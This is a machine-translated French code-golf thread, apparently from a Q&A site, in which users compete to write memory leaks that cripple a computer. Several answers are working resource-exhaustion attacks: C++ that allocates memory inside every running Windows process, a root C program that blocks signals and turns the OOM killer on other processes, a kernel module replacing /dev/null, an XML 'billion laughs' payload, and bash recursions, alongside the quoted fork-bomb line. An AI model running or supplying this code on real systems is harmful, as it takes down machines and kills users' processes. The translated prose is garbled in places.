Créez une fuite de mémoire, sans aucune fourchette [fermée]


54

Votre tâche consiste à créer une fuite de mémoire . Il s’agit d’un programme qui utilise beaucoup de mémoire, jusqu’à épuisement de l’ordinateur et doit effectuer quelques permutations pour éviter de s’épuiser. La seule façon de libérer de la mémoire consiste à tuer le programme dans le gestionnaire de tâches ou à utiliser un kill en ligne de commande tel que taskkill /im yourprogram /f(sous Windows) ou même en redémarrant l'ordinateur. Fermer simplement l'application ne devrait pas l'empêcher de continuer à exploiter la mémoire.

Règles:

  1. Les bombes à fourche sont interdites. Cela signifie que la fameuse ligne Bash:(){ :|:&};: est interdite!

  2. L'application doit être mono-threadée uniquement. Cela implique la règle de la fourche à la bombe.

  3. Le programme ne doit pas exécuter d'autres programmes. Cela signifie que vous ne pouvez pas faire quelque chose comme run(memoryfiller.exe). La seule exception à cette règle concerne les programmes fournis avec votre système d'exploitation ou votre langue, qui ne sont pas principalement conçus pour utiliser de la mémoire (c.-à-d. Ils ont une autre fonction). Cela signifie que les choses aiment catet ln -ssont autorisées.

  4. Vous pouvez utiliser autant de mémoire que vous le souhaitez. Le plus le mieux.

  5. Le code doit être expliqué complètement.

Bonne chance. Il s’agit d’un concours de popularité, donc le code qui obtient le plus grand nombre de votes 10 jours après la date demandée gagne!


8
"La fermeture de cette dernière devrait néanmoins faire perdre de la mémoire" - si un programme est un exécutable shell (comme la plupart des versions Windows des interpréteurs de langage de script), la fermeture de sa fenêtre tuera le programme.
Mniip

54
N'est-ce pas juste while(1)malloc(999);?
Poignée de porte

10
Je ne suis pas sûr que "Fermer doit quand même rendre la mémoire inutile" est compatible avec "L'application doit être à thread unique uniquement". Si aucun thread ne dispose de beaucoup de mémoire, le système d'exploitation peut le récupérer, non?
aebabis

51
Il suffit de lancer firefox 26 avec quelques onglets ouverts pendant une demi-heure. Il va mettre votre ordinateur à genoux.
Braden Best

1
@mniip. C'est le but du défi. Faire un défi difficile. Et poignée de porte. Je voulais quelque chose de différent! ;)
George

Réponses:


78

les fenêtres

L'API Win32 vous permet d'allouer de la mémoire dans d'autres processus, puis de lire / écrire cette mémoire à distance. Ce programme ne comporte qu'un seul thread, qu'il utilise pour énumérer chaque processus en cours d'exécution sur le système, puis alloue de manière répétée des mémoires tampon de 1 Mo dans chaque processus jusqu'à ce que l'allocation échoue. Quand il termine avec un processus, il passe au suivant. Les allocations ne sont pas libérées lorsque le programme appelant se termine - uniquement lorsque / si chaque processus cible se termine. Cela bloque une machine virtuelle Windows 7 de 2 Go en environ 10 secondes. Il faut exécuter en tant qu'administrateur.

Compiler: cl /MD leak.cpp /link psapi.lib

#include <windows.h>
#include <psapi.h>

typedef void (*ProcFunc)(DWORD pid);
#define ALLOC_SIZE 0x100000
LPVOID buf;

void ForEachProcess(ProcFunc f)
{
    DWORD aProcesses[1024], cbNeeded;

    if (!EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded))
        return;

    for (unsigned int i = 0; i < cbNeeded / sizeof(DWORD); i++)
        if (aProcesses[i] != 0)
            f(aProcesses[i]);
}

void RemoteLeak(DWORD pid)
{
    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
    if (hProcess == NULL)
        return;

    for (;;)
    {
        LPVOID ptr = VirtualAllocEx(hProcess, NULL, ALLOC_SIZE, 
                                    MEM_COMMIT, PAGE_READWRITE);
        if (ptr == NULL)
            return;

        WriteProcessMemory(hProcess, ptr, buf, ALLOC_SIZE, NULL);
    }
}

int main(void)
{
    buf = malloc(ALLOC_SIZE);
    if (buf == NULL)
        return 0;

    memset(buf, 0xFF, ALLOC_SIZE);

    ForEachProcess(RemoteLeak);

    return 0;
}

9
Windows est diabolique.
Tomsmeding

4
Je dois fermer ce soir. Je vais tenter le coup;)
George

1
"(s'exécutant en tant qu'utilisateur normal, n'utilisant pas les privilèges d'administrateur" - vous n'êtes pas sûr de cela, vous avez besoin de SeDebugPrivilege qui, par défaut, n'est pas présent dans le jeton de l'utilisateur habituel
rkosegi

@ rkosegi Merci, corrigé.
Andrew Medico

14
+1 Cela mérite de nombreux votes positifs , c’est la seule réponse à ce jour qui soit conforme à l’original. La fermeture devrait en faire une exigence de mémoire . Solution très créative :-)
Daniel

72

Java

import java.util.concurrent.atomic.AtomicInteger;

public class Hydra {
  // Not actually necessary for the leak - keeps track of how many Hydras there are, so we know when they're all gone
  public static AtomicInteger count = new AtomicInteger(0);
  public Hydra() {
    count.incrementAndGet();
  }
  protected void finalize() {
    new Hydra();
    new Hydra();
    count.decrementAndGet();
  }

  public static void main(String[] args) throws InterruptedException {
    new Hydra();
    while (Hydra.count.get() > 0) {
      // Prevent leaks ;-)
      System.gc();
      System.runFinalization();
    } 
  }
}

Explication

Vous pouvez supposer que, dans la mesure où le code ne contient aucune référence (autre que celle countque vous pouvez ignorer en toute sécurité), il ne peut pas fuir. Cependant, le finaliseur crée deux nouvelles Hydras et, même si elles ne contiennent aucune référence, elles resteront en place jusqu'à leur finalisation. Cela signifie que le programme ne perd de la mémoire que lors de la récupération de place - d'où les appels à System.gc()et System.runFinalization().


7
@TimS. où est votre Dieu maintenant?!?
Cruncher

Sont System.gc()et System.runFinalization()nécessaires? C'est-à-dire que le gc fonctionnera de manière aléatoire parfois, ou devrez-vous soit remplir une mémoire, soit appeler gc?
Cruncher

4
Dans un programme typique, System.gc()et System.runFinalization()ne serait pas nécessaire. La collecte des ordures aurait lieu naturellement en raison de la pression de la mémoire. Cependant, dans cette application, il n'y a pas de pression mémoire jusqu'à ce que la récupération de place commence à fonctionner. Je pensais en introduire artificiellement (par exemple, en bougeant new Hydra()à l'intérieur de la boucle), mais pensais que c'était plus diabolique.
James_pic

1
Ouais, je n'ai pas prêté beaucoup d'attention à la mise en garde "La fermeture devrait tout de même faire oublier la mémoire", car cela ne semblait pas avoir de sens (à part des trucs d'OS bien ordonnés comme @ german_guy's). Java fait toujours tourner un fil de finalisation, il est donc peut-être impossible pour une application Java de respecter la règle n ° 2.
James_pic

1
Sur les systèmes Unix, vous ne pouvez pas bloquer SIGKILL (signal 9), vous ne pouvez donc pas rendre votre programme imparable (enfin, sauf si vous parvenez à le mettre dans un état d’attente ininterruptible ... alors vous pouvez peut-être tuer à distance un serveur NFS dont vous l'accès peut marcher ;-))
celtschk

37

C

Utilisation du langage de programmation C et testé avec le noyau Linux 2.6.32-49-generic et libc-2.11.1.so.

La seule façon de libérer la mémoire consiste à tuer le programme dans le gestionnaire de tâches, à utiliser taskkill / im yourprogram / f ou même à redémarrer le PC.

Ceci est réalisé en bloquant tous les signaux sauf SIGKILL et SIGSTOP.

La fermer devrait quand même en faire un souvenir mémorable.

En fait, cela m'a confondu. Le fait de le supprimer ou de le fermer entraîne l'arrêt du processus, permettant ainsi au système d'exploitation de récupérer toute mémoire allouée par le processus. Mais ensuite, j'ai pensé qu'en le fermant, vous pourriez vouloir fermer le terminal ou tout autre processus parent exécutant le processus de fuite de mémoire. Si j'ai bien compris, alors j'ai résolu ce problème en bloquant tous les signaux, ce qui transforme le processus en un démon lorsque le processus parent est terminé. De cette façon, vous pouvez fermer le terminal dans lequel le processus est en cours d'exécution. Il continuera à fonctionner et continuera à perdre de la mémoire.

Les bombes à fourche sont interdites. Cela signifie que cette infâme bash: () {: |: &} ;: est interdite!

Le processus ne débouche pas.

L'application doit être à thread unique uniquement. Cela implique la règle de la fourche à la bombe

Aucun nouveau thread n'est créé.

Le programme ne doit pas exécuter un autre programme. Cela signifie que vous ne pouvez pas faire quelque chose comme run (memoryfiller.exe)

Aucun nouveau processus n'est généré.

Vous pouvez utiliser autant de mémoire que vous le souhaitez. Le plus le mieux.

Autant que le système d'exploitation peut fournir.

Le code doit être expliqué complètement.

Ajout de commentaires à la source.

Et enfin voici le code:

#define _GNU_SOURCE

#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>


int main(int argc, char* argv[]) {

    /*
    set the real, effective and set user id to root,
    so that the process can adjust possible limits.
    if the process doesn't have the CAP_SETUID capability, terminate the process.
    */
    if (setresuid(0, 0, 0) == -1) {
        printf("Are you root?!\n");
        return 1;
    }

    /*
    block all signals except for kill and stop.
    this allows to terminate the parent process (most likely a terminal)
    that this process is running in and turn it into a daemon.
    additionally this makes it impossible to terminate the process
    in a normal way and therefore satisfies the requirement that closing
    it should still make it hog memory.
    */
    sigset_t mask;
    sigfillset(&mask);
    sigprocmask(SIG_SETMASK, &mask, NULL);

    /*
    allow the process to acquire a virtually unlimited amount of memory
    and queue a virtually unlimited amount of signals.
    this is to prevent an out of memory error due to a virtual limit for the root user,
    which would prevent the process from leaking any more memory
    and to prevent the process from getting killed due to too many queued
    signals that the process is blocking.
    */
    struct rlimit memory = { RLIM_INFINITY, RLIM_INFINITY },
                  signal = { RLIM_INFINITY, RLIM_INFINITY};
    setrlimit(RLIMIT_AS, &memory);
    setrlimit(RLIMIT_SIGPENDING, &signal);

    /*
    allocate a buffer big enough to store a file name into it
    that is generated from the process' pid.
    if the file can be opened (which should always be the case unless /proc is not mounted)
    the file will be opened and the string -17 followed by a new line written to it.
    this will cause the oom killer to ignore our process and only kill other,
    innocent processes when running out of memory.
    */
    char file_name[20];
    sprintf(file_name, "/proc/%u/oom_adj", getpid());

    FILE* oom_killer_file = fopen(file_name, "w");
    if (oom_killer_file) {
        fprintf(oom_killer_file, "-17\n");
        fclose(oom_killer_file);
    }

    /*
    get the size of virtual memory pages in bytes,
    so the process knows the size of chunks that have to be
    made dirty to force the kernel to map the virtual memory page into RAM.
    */
    long page_size = sysconf(_SC_PAGESIZE);

    // allocate a virtually infinite amount of memory by chunks of a page size.
    while(1) {
        // will overwrite any previous stored address in tmp, leaking that memory.
        char* tmp = (char*) malloc(page_size);
        if (tmp)
            // make the memory page dirty to force the kernel to map it into RAM.
            tmp[0] = 0;
    }

    return 0;
}

Pour ceux qui sont intéressés par ce qui se passe si vous maintenez ce programme en marche: Sur mon système de test avec 2 Go de RAM et 4 Go d’espace d’échange, il a fallu environ 10 minutes pour remplir la RAM et échanger. Le tueur de MOO a commencé son travail et trois minutes plus tard, tous les processus ont été tués. Même la souris, le clavier et l'écran ont été abandonnés par le système. /var/log/kern.log ne montre aucune information utile, à l'exception des processus qui ont été arrêtés.


J'ai modifié la source pour que le tueur supprime le processus et supprime les processus innocents pour libérer de la mémoire.
Foobar

5
Pour ceux qui sont intéressés par ce qui se passe si vous continuez à exécuter ce programme: Sur mon système de test avec 2 Go de RAM et 4 Go d’espace d’échange, il a fallu environ 10 minutes pour remplir la RAM et échanger. Le tueur de MOO a commencé son travail et trois minutes plus tard, tous les processus ont été tués. Même la souris, le clavier et l'écran ont été abandonnés par le système. /var/log/kern.log ne montre aucune information utile, à l'exception des processus qui ont été tués.
Foobar

Haha, c'est merveilleux! Vous devriez modifier cette description dans votre réponse. +1
Bouton de porte

1
Je n'ai pas voté vers le bas, mais ce serait bien si le code pouvait être formaté, aucun défilement horizontal n'est donc nécessaire pour lire les commentaires.
Paŭlo Ebermann

2
+1 pour 1) provoquer la mise à mort des processus manipulant les périphériques d'entrée / sortie et 2) créer un programme difficile à suivre à partir des journaux. Ce sont des niveaux de mal à curling moustache.
Kevin - Rétablir Monica

29

Pur bash

Pas une bombe, je promets:

:(){ : $@$@;};: :

Cela ressemble beaucoup à une bombe fourchette et utilise une technique récursive similaire, mais pas de fourche. Bien sûr, cela va faire fonctionner votre shell sans mémoire, il est donc conseillé de démarrer un nouveau shell avant de coller cette commande.

  • Définir une fonction appelée :
  • La fonction s’appelle simplement de manière récursive avec $@(arg list) doublée
  • Après la définition de la fonction, la :fonction est appelée avec un argument initial:

Sortie:

$ bash
$ :(){ : $1$1;};: :
bash: xmalloc: ../bash/stringlib.c:135: cannot allocate 536870913 bytes (5368795136 bytes allocated)
$

Lors d’une précédente édition de cette réponse, j’avais fait a=$(yes), mais j’avais remarqué la règle "Le programme ne doit pas exécuter d’autre programme", je dois donc utiliser pure à la bashplace sans appeler de coreutils ni quoi que ce soit d’autre.


En voici un autre:

VEUILLEZ NE PAS UTILISER CELA SUR UNE MACHINE DE PRODUCTION

:(){ : <(:);};:

Encore une fois, ce n’est pas une bombe à la fourche: tout est exécuté à partir d’un seul thread. Celui-ci semble assez facilement mettre ma machine virtuelle Ubuntu à genoux, avec peu de marge de manœuvre pour la récupération, mis à part le redémarrage.

Comme dans la bombe à la fourche classique, une fonction récursive :()est définie. Cependant, il ne débite pas les appels à lui-même. Au lieu de cela, il s’appelle avec un seul argument, qui est lui-même appelé dans une substitution de processus . Étant donné que la substitution de processus fonctionne en ouvrant un descripteur de fichier /dev/fd/n, elle ne consomme pas uniquement de la mémoire de processus (bash), elle consomme également de la mémoire du noyau. Sur ma machine Ubuntu, cela a pour effet de rendre le gestionnaire de fenêtres inutilisable après quelques secondes, puis peu de temps après avoir fini avec cet écran:

entrez la description de l'image ici

En cliquant, OKon obtient alors cet écran:

entrez la description de l'image ici

Aucune de ces options ne semble être très utile - à ce stade, le redémarrage semble être la seule bonne option.


3
$ which yes->/usr/bin/yes
Izkata

2
"Le seul moyen de libérer la mémoire consiste à tuer le programme dans le gestionnaire de tâches, à utiliser taskkill / im votre programme / f ou même à redémarrer le PC. La fermeture de ce programme devrait néanmoins lui faire perdre beaucoup de mémoire." >> Le bash peut être terminé à l'aide d'un SIGTERM, il n'est donc pas nécessaire de le tuer pour qu'il cesse de fonctionner. En outre, il cesse de fonctionner lorsque le système manque de mémoire. Une fois la bash terminée, soit par SIGTERM, soit par manque de mémoire, la mémoire est restituée au système d'exploitation.
Foobar

Cela ne fonctionne pas pour moi ... en quelque sorte ... je peux voir la mémoire disparaître progressivement, mais cela se produit très lentement et peut également être éliminé en appuyant simplement sur Ctrl + C. Il fonctionne maintenant pendant 1 minute et occupe environ 1 Go. J'ai une machine TRES rapide ... mais ça ne devrait pas avoir d'importance, non?
Stefanos Kalantzis

En réponse à mon propre commentaire: La commande a effectivement tué la bash au bout d'environ 2 minutes 49 secondes. Je pensais au départ que cela allait instantané en fonction de cette réponse.
Stefanos Kalantzis

@StefanosKalantzis Merci pour vos commentaires. Cela m'a fait réfléchir un peu plus et je viens de trouver un extrait de shell encore plus diabolique - voir edit.
Traumatismes numériques

24

XML

<!DOCTYPE boom [
<!ENTITY Z 'ka-boom!'><!ENTITY Y '&Z;&Z;'><!ENTITY X '&Y;&Y;'><!ENTITY W '&X;&X;'>
<!ENTITY V '&W;&W;'><!ENTITY U '&V;&V;'><!ENTITY T '&U;&U;'><!ENTITY S '&T;&T;'>
<!ENTITY R '&S;&S;'><!ENTITY Q '&R;&R;'><!ENTITY P '&Q;&Q;'><!ENTITY O '&P;&P;'>
<!ENTITY N '&O;&O;'><!ENTITY M '&N;&N;'><!ENTITY L '&M;&M;'><!ENTITY K '&L;&L;'>
<!ENTITY J '&K;&K;'><!ENTITY I '&J;&J;'><!ENTITY H '&I;&I;'><!ENTITY G '&H;&H;'>
<!ENTITY F '&G;&G;'><!ENTITY E '&F;&F;'><!ENTITY D '&E;&E;'><!ENTITY C '&D;&D;'>
<!ENTITY B '&C;&C;'><!ENTITY A '&B;&B;'><!ENTITY z '&A;&A;'><!ENTITY y '&z;&z;'>
<!ENTITY x '&y;&y;'><!ENTITY w '&x;&x;'><!ENTITY v '&w;&w;'><!ENTITY u '&v;&v;'>
<!ENTITY t '&u;&u;'><!ENTITY s '&t;&t;'><!ENTITY r '&s;&s;'><!ENTITY q '&r;&r;'>
<!ENTITY p '&q;&q;'><!ENTITY o '&p;&p;'><!ENTITY n '&o;&o;'><!ENTITY m '&n;&n;'>
<!ENTITY l '&m;&m;'><!ENTITY k '&l;&l;'><!ENTITY j '&k;&k;'><!ENTITY i '&j;&j;'>
<!ENTITY h '&i;&i;'><!ENTITY g '&h;&h;'><!ENTITY f '&g;&g;'><!ENTITY e '&f;&f;'>
<!ENTITY d '&e;&e;'><!ENTITY c '&d;&d;'><!ENTITY b '&c;&c;'><!ENTITY a '&b;&b;'>
]>
<boom a="&a;"/>

Ensuite, passez le document à un analyseur XML qui ne détecte pas la boucle / la récursivité des références d'entité. Par exemple, xpathinclus avec perl:

xpath boom.xml /

Comment ça fonctionne:

  1. Les rencontres de l'analyseur <boom a="&a;">
  2. L'analyseur se développe "&a;"dans"&b;&b;"
  3. L'analyseur étend l'un des "&b;"en "&c;&c;"(au retour, il élargira l'autre "&b;")
  4. L'analyseur étend l'un des "&c;"etc ...

Si une expansion complète pouvait se produire, il y aurait une expansion de 2 ^ 52 "ka-boom!". En supposant 2 octets par caractère, il essaiera d'utiliser 64 PiB. L'expansion va "ka-boom!" à la fois, donc vous pouvez généralement le regarder utiliser toute la mémoire en haut.

Cela passe par différents noms, bon aperçu ici: http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion


3
Une copie de Billion rit
Cole Johnson

@ColeJohnson Yup c'est tout! J'ai contribué au projet de classification des menaces WASC, donc je me suis senti obligé de pointer vers WASC plutôt que vers Wikipedia. :)
euroburɳ

22

C ++

int main()
{
    for(;;)int *a=new int;
}

Ce code était inattendu! Il a suspendu mon ordinateur pendant que le gestionnaire de tâches était ouvert et a montré qu'il avait fallu 890 Mo de mémoire en 1 seconde, puis il était également suspendu. Je ne sais pas comment ça marche, peut-être que ça continue à donner de la mémoire à une variable. Pour explorer plus en détail ce code, j'ai ajouté une déclaration delete a;et tout allait bien pendant les tests (pas de blocage). Alors, je pense que donné (en raison de new int) puis repris (en raison de delete a) à l’espace libre dans le nouveau code ci-dessous.

int main()
{
    for(;;)
    {
         int *a=new int;
         delete a;
    }
}  

Donc, je conclus que NO RAM DANS CE MONDE NE PEUT MANIPULER CE CODE !!!

EDIT : Mais de nombreux processeurs peuvent par exemple intel core 2 duone pas gérer ce code mais
intel core i-seriespeuvent (travailler pour moi ...)

Rappelez-vous que la réponse à la question est le premier code, le second étant destiné à une explication.


9
Sympa, le compilateur pense que vous utiliserez toujours le new intmême si vous avez écrasé le pointeur, vous ne pouvez donc plus y accéder ... Donc, aucune collecte de déchets n'est appelée et vous remplissez la mémoire plus rapidement qu'un gros enfant mange des quilles
David Wilkins

37
@DavidWilkins: ... c'est C ++, C ++ n'a pas de garbage collector.
Phoshi

32
S'il est inattendu pour vous que ce code fuie, alors je pense que vous ne devriez pas utiliser le C ++ avant de mieux le connaître.
svick

1
@svick Mais ce n'est pas aussi comme frapper un jeu de fléchettes dans le noir! J'ai eu une idée que cela va faire le travail question veut.
Mukul Kumar

15
@svick Comment diable est-il supposé "apprendre mieux" s'il "ne devrait pas utiliser le C ++"?
Kevin

16

Brainfuck

+[>+]

Explication:

Pour entrer dans la boucle, la cellule passe à 1. Elle passe à la cellule suivante et la passe à 1 tant que la dernière cellule était positive.

Habituellement, un interpréteur BrainFuck est imparfait en ce qu'il limite le nombre de cellules sur la bande, mais certains interprètes ajoutent des cellules de manière dynamique. Ceux-ci continueront à consommer de la mémoire jusqu'à ce qu'il ne soit plus consommé.

beefest l'un de ces interprètes et il est disponible dans le Centre logiciel Ubuntu. Mon exécution actuelle sur une machine inutilisée a démarré il y a 29 heures et a consommé 1 Go de RAM au cours de cette période. Voici la sortie detop

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1030m 984m 2536 R 100,1 12,4   1750:52 beef

Il a 4 Go de cache et 6 Go de swap, donc je suppose que je mettrai à jour cette réponse avec son déroulement en 12 jours environ.

MISE À JOUR 03.24 17:11

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1868m 1,8g 2456 R  99,9 22,9   6008:18 beef    

MISE À JOUR 03.31 00:20

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 2924m 2,8g 2052 R 100,0 36,1  15019:46 beef   

Donc, ça fait 10 jours que ça dure. On dirait que le logiciel fonctionnera pendant au moins 10 autres avant que quelque chose d'intéressant ne se produise.


Sympa et court.
nrubin29

15

C et POSIX

Ici, je vise une solution hautement portable. Le problème est que le C pur ne semble pas avoir le moyen de dire au système d’exploitation que la mémoire doit rester allouée après la fermeture du programme. Je me permets donc d'utiliser POSIX; la plupart des systèmes d'exploitation prétendent être compatibles avec POSIX, notamment Windows, Linux et MacOS X. Cependant, je ne l'ai testé que sur Ubuntu 12.04 32 bits. Il ne nécessite pas d'autorisations de superutilisateur.

Cette solution est essentiellement la while(1){malloc(1);}solution traditionnelle . Cependant, au lieu de malloc, il utilise les fonctions de mémoire partagée POSIX. Comme il attribue un identifiant de mémoire partagée à chaque allocation, il est toujours possible d'accéder à la mémoire une fois le processus terminé. Ainsi, le noyau ne peut pas libérer la mémoire.

#include <sys/types.h>
#include <sys/shm.h>
#include <string.h>

#define SHMSZ (2*1024*1024) /*Ubuntu rejects shared allocations larger than about 2MiB*/

main() {
  int shmid;
  key_t key = 0xF111; /* Lets use `Fill' as our first ID.*/
  char *shm;

  while(1) { /* Like malloc, but using shared memory */
    if ((shmid = shmget(key, SHMSZ, IPC_CREAT|0666)) < 0){return 1;}/*Get shared memory*/
    if ((shm = shmat(shmid, NULL, 0)) == (void *) -1) { return 1; } /*Attach it        */
    memset(shm,0,SHMSZ);                                            /*Fill it up       */
    key++                                                           /*On to the next ID*/
  }
}

Le meilleur et le plus brillant C répond à l’OMI. +1
syb0rg

1
Joli. La première solution que j'ai proposée était celle d'Andrew Medico, mais comme ce n'est pas possible sous Linux et que je n'aime pas la programmation Windows, je voulais fuir par la mémoire partagée, mais je ne me souvenais pas des noms de fonction POSIX. Merci de m'avoir rappelé d'eux;) Tout ce que j'ai trouvé n'est que des fichiers mmap qui ne sont pas mappés à la fin du processus ...
foobar

14

C #

Si vous oubliez de vous désabonner des événements avant que le gestionnaire ne disparaisse de sa portée, .NET perdra de la mémoire jusqu'à ce qu'il lève OutOfMemoryException.

using System;

class A
{
    public event Action Event;
}

class B
{
    public void Handler() { }
}

class Program
{
    static void Main()
    {
        A a = new A();

        while( true )
            a.Event += new B().Handler;
    }
}

Explication : À l'intérieur de la whileboucle, nous construisons un nouvel objet, ce qui oblige le framework à allouer plus de mémoire, mais nous empêchons également la nouvelle instance d' Bêtre libérée lorsqu'elle sort de son périmètre en affectant une méthode d'instance à un événement d'une autre classe, le résultat étant que la nouvelle instance de Bdevient inaccessible à partir de notre code, mais une référence existe toujours, ce qui signifie que le GC ne la publiera pas tant qu'elle ne sortira pas ade sa portée.

Les événements statiques ont le même piège, car ils ne sont jamais hors de portée, ils sont uniquement nettoyés à la fin du processus, sauf si vous vous désabonnez d'abord de l'événement. Toujours stocker vos références, les gens!

using System;

class Program
{
    static event Action Event;

    static void Main()
    {
        while( true )
            Event += new Action( delegate{ } );
    }
}

Ce qui précède fonctionne sur la même idée, le gestionnaire devient inaccessible une fois la whileboucle hors de portée, rendant impossible la désinscription de l'événement, ce qui signifie que la mémoire restera là jusqu'à la fin du programme. Les événements statiques sont sans doute plus dangereux que les événements d'instance, car vous pouvez vous assurer qu'ils ne seront jamais hors de portée.

EDIT : Vous pouvez également faire la même chose avec pratiquement n’importe quel autre objet, à condition d’ajouter une référence tout en veillant à ce qu’il n’y ait aucun moyen de la libérer.

Voici un exemple d'utilisation d'objets et de tableaux statiques.

using System;
using System.Collections.Generic;

static class Leak
{
    private static List<decimal[]> Junk;

    static Leak()
    {
        Junk = new List<decimal[]>();
    }

    public static void Add( uint size )
    {
        decimal[] arr = new decimal[size];
        Junk.Add( arr );
    }
}

class Program
{
    static void Main()
    {
        while( true )
            Leak.Add( 1 );
    }
}

Les tableaux continuent à être ajoutés à la liste, mais il n'y a aucun moyen d'effacer la liste sans modifier le code, ce qui serait impossible pour les applications à source fermée. Leak.AddSi vous augmentez le nombre, la fuite sera plus rapide. Si vous le définissez suffisamment haut, une exception OverflowException sera immédiatement générée.


10

bash (pas d'utilitaire externe)

Pas de bombe à fourche ici.

Attention: Cela pourrait tuer votre shell.

J'essaie juste de créer un tableau d'entiers à titre de référence parce que j'oublie constamment à quoi ressemblent les entiers.

while :; do _+=( $((++__)) ); done

Résulte en:

xmalloc: expr.c:264: cannot allocate 88 bytes (268384240 bytes allocated)

2
+1 pour "parce que j'oublie constamment à quoi les nombres entiers ressemblent" :)
David Conrad

8

J (7)

AVERTISSEMENT: Cela a gelé mon système lorsque je l'ai essayé (Windows 8, J 8.01, dans le terminal qt).

2#^:_[_
  • 2# double la longueur de l'argument en dupliquant chaque élément,
  • ^:_ trouve le point de fixation de la fonction donnée (mais il n'y en a pas, il boucle en boucle),
  • [_appelle avec _comme argument.

8

Haskell (numéro de Graham)

C'est très simple: cela calcule le nombre de Graham

Contrairement à d'autres exemples ici, il ne fonctionnera pas éternellement ... il utilisera beaucoup de ressources processeur, mais théoriquement, il pourrait se terminer. s'il n'y avait pas le fait de stocker le numéro ...

l'univers observable est beaucoup trop petit pour contenir une représentation numérique ordinaire du nombre de Graham, en supposant que chaque chiffre occupe un volume de Planck .

(d'après wikipedia)

import Data.Sequence
import Data.Foldable

(↑) a 1 b = a ^ b
(↑) a _ 0 = 1
(↑) a i b = a ↑ (i-1) $ a ↑ i $ b-1

graham = last $ toList $ iterateN 64 (\i -> 3 ↑ i $ 3) 4
main = print graham

Donc, l’idée est que la mémoire sera utilisée par une (série d’énormes) de plus en plus énormes Integer(les entiers de Haskell sont de taille arbitraire).

Si vous souhaitez le tester, vous devrez peut-être augmenter la taille de la pile ou la charger à l'intérieur ghci.


2
Univers stupide, non conforme à la norme Haskell pour les entiers. Pourquoi ne peut-il pas supporter une taille arbitraire?
PyRulez

6

Inspiré par @comintern.

Remplacement de / dev / null. Engager le mode sournois. Nécessite des en-têtes de noyau, le mode superutilisateur et un compilateur en état de fonctionnement.

# make
# rm /dev/null
# insmod devnull.ko
# chmod go+rw /dev/null

S'amuser.

Makefile:

MODULE := devnull
KVERS  ?= $(shell uname -r)
KDIR   ?= /lib/modules/$(KVERS)/build
KMAKE := make -C $(KDIR) M=$(PWD)

obj-m += $(MODULE).o

all:
    $(KMAKE) modules

install:
    $(KMAKE) modules_install

clean:
    $(KMAKE) clean

Code source:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/ioport.h>
#include <linux/device.h>
#include <linux/version.h>
#include <linux/slab.h>
#include <asm/io.h>
#include <asm/uaccess.h>

#define DEVICE_NAME "null"
#define MAJOR_NUMBER 0

MODULE_LICENSE("GPL");
MODULE_AUTHOR("nola <florian@n0la.org>");
MODULE_DESCRIPTION("/dev/null - memory leak style");
MODULE_VERSION("0.1");
MODULE_SUPPORTED_DEVICE("null");

static struct class *class_null;
static int major = 0;

static int device_open(struct inode *, struct file *);
static int device_release(struct inode *, struct file *);
static ssize_t device_read(struct file *, char *, size_t, loff_t *);
static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
static loff_t device_llseek(struct file *, loff_t, int);

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .llseek = &device_llseek,
    .read = &device_read,
    .write = &device_write,
    .open = &device_open,
    .release = &device_release
};

static int __init mod_init(void)
{
    struct device *dev_null;

    if ((major = register_chrdev(MAJOR_NUMBER, DEVICE_NAME, &fops)) < 0) {
        return major;
    }

    /* create /dev/null
     * We use udev to make the file.
     */
    class_null = class_create(THIS_MODULE, DEVICE_NAME);
    if (IS_ERR(class_null)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 27)
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             NULL, "%s", DEVICE_NAME
        );
#else
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             "%s", DEVICE_NAME
        );
#endif
    if (IS_ERR(dev_null)) {
        class_destroy(class_null);
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

    return 0;
}

static void __exit mod_exit(void)
{
    device_destroy(class_null, MKDEV(major, 0));
    class_unregister(class_null);
    class_destroy(class_null);
    unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode *inode, struct file *file)
{
    file->f_pos = 0x00;

    try_module_get(THIS_MODULE);
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    /* decrement usage count: Not. Uncomment the line for less fun. */
    /* module_put(THIS_MODULE); */
    return 0;
}

static loff_t device_llseek(struct file *filep, loff_t offs, int mode)
{
    loff_t newpos;

    switch (mode) {
    case 2:
    case 0:
        newpos = offs;
        break;

    case 1:
        newpos = filep->f_pos + offs;
        break;

    default:
        return -EINVAL;
    }

    if (newpos < 0) {
        return -EINVAL;
    }

    filep->f_pos = newpos;

    return newpos;
}

static ssize_t device_read(struct file *filep, char *dst, size_t len,
                           loff_t *off)
{
    char *buf = NULL;

    if (dst == NULL || len == 0) {
        return -EINVAL;
    }

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    /* Do how a /dev/null does.
     */
    memset(dst, 0, len);

    *off += len;
    return len;
}

static ssize_t device_write(struct file *filep, const char *src, size_t len,
                            loff_t *off)
{
    char *buf = NULL;

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    *off += len;
    return len;
}

module_init(mod_init);
module_exit(mod_exit);

Attention, cela peut vous obliger à redémarrer!

Pour l'enlever:

# rmmod -f devnull # or a reboot
# rm -rf /dev/null
# mknod /dev/null c 1 3
# chmod go+rw /dev/null

6

Rubis

Tout le monde sait que cette somme (1 / n ^ 2) = pi ^ 2/6

Je peux donc définir une fonction d'approximation:

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
